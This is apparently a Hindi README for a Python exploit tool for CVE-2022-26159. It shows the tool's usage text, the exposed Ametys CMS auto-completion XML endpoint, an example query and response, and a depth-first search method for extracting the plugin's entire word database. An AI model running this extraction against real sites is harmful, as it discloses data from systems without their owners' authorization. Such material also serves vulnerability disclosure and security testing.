
Ametys CMS के ऑटो-कम्प्लीशन प्लगइन द्वारा संग्रहीत सभी डेटा को स्वचालित रूप से एक स्थानीय sqlite डेटाबेस फ़ाइल में डंप करने के लिए एक python एक्सप्लॉइट।
Ametys CMS के ऑटो-कम्प्लीशन प्लगइन द्वारा संग्रहीत सभी डेटा को स्वचालित रूप से एक स्थानीय sqlite डेटाबेस फ़ाइल में डंप करने के लिए एक python एक्सप्लॉइट।

$ ./CVE-2022-26159-Ametys-Autocompletion-XML.py -h
CVE-2022-26159-Ametys-Autocompletion-XML v1.1 - by @podalirius
usage: CVE-2022-26159-Ametys-Autocompletion-XML.py [-h] -t TARGET [-H HEADERS] [-k] [-v | -q] [--no-colors]
Description message
optional arguments:
-h, --help show this help message and exit
-t TARGET, --target TARGET
arg1 help message
-H HEADERS, --header HEADERS
Specify HTTP headers to use in requests. (e.g., --header "Header1: Value1" --header "Header2: Value2")
-k, --insecure Disable SSL/TLS warnings and certificate verification.
-v, --verbose Verbose mode. (default: False)
-q, --quiet Quiet mode. (default: False)
--no-colors Disables colored output. (default: False)
Ametys CMS <= 4.4.9 में ऑटो-कम्प्लीशन प्लगइन सार्वजनिक रूप से एक XML फ़ाइल उजागर करता है जिसमें निम्नलिखित पते पर एक वर्डलिस्ट होती है:
https://domain.tld/plugins/web/service/search/auto-completion/domain/en.xml
इस डेटाबेस पर अनुरोध करने के लिए, एक हमलावर को केवल q (क्वेरी) पैरामीटर में शब्द की शुरुआत टाइप करनी होती है:
https://domain.tld/plugins/web/service/search/auto-completion/domain/en.xml?q=adm
और ऑटो-कम्प्लीशन प्लगइन XML फ़ाइल में adm (क्वेरी से) से शुरू होने वाले पहले 10 मिलान वाले शब्द लौटाता है:
<?xml version="1.0" encoding="UTF-8"?>
<auto-completion>
<item>administrateur</item>
<item>administrateurs</item>
<item>administratif</item>
<item>administratifs</item>
<item>administration</item>
<item>administrations</item>
<item>administrative</item>
<item>administratives</item>
<item>administres</item>
<item>admission</item>
</auto-completion>
इसे ध्यान में रखते हुए, एक हमलावर को इसकी सारी सामग्री निकालने के लिए केवल API पर डेप्थ-फर्स्ट सर्च करने की आवश्यकता होती है।
पुल रिक्वेस्ट का स्वागत है। यदि आप अन्य सुविधाएँ जोड़ना चाहते हैं तो बेझिझक एक इश्यू खोलें।